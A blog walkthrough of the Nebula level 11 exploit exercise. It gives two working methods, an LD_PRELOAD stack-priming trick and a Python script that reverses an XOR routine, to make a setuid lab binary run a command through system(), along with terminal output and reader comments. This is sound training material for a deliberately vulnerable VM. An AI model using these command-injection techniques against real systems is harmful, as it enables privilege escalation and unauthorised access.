Saturday, December 22, 2012

Exploit Exercise - Level [11]

In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
 err(1, "fread length");
    }
    process(buf, length);
For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'`
level11@nebula:/home/flag11$ 
level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null

###############################################################################

You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
level11@nebula:/home/flag11$
The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
 system(buffer);
}
Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python
#flag11.py

command = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = str()

for i in xrange(len(command)):
    for j in xrange(256):
        if ((key ^ j) & 0xff ) == ord(command[i]):
            enc = enc + chr(j)
            key = (key - ord(command[i])) & 0xffffffff # unsigned int
            break

junk = "A" * (length - len(command))
print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp"
level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

4 comments :

  1. Hello Reno:

    I've a question regarding the second method. I'm not a python expert and I've been trying to understand what you do with the flag11.py script. As far as I understood, it encodes every character from the command string and do an OR and an AND or something like that for every single ascii code. What is the purpose of that encoding?.

    Regards

    Sergio

    ReplyDelete
    Replies
    1. Hello Fr0gl0gist,

      I'm extremely sorry for the delayed reply, missed your comment. The reason for doing all those operations is that, before the call to system(buffer),the buffer itself is XOR'ed with some key. Hence we need to input a string, that after going through the XOR operations will result in a valid command string :)

      Delete
  2. Hi Reno

    Thanks for the sharing. This article is really helpful.

    But I met a problem when solving this one, my /bin/getflag kept telling me that I am running a non-flag user. I googled about this and some said that it is bash-2 who drops privilege not the system() call itself, I am not sure if this is why I cannot passed this challenge, none of the solutions I have met mentioned about this problem.

    I boot the nebula system directly from the liveCD in vmware, my /bin/sh is /bin/bash which is version 4, I am curious about that have your ever met the same problem with me? and what is your default bash's version in nebula's image

    Thanks in advance

    ReplyDelete
    Replies
    1. Hello JC Han,
      I didn't face this problem when I worked on the challenge and I don't have the vm either.

      Delete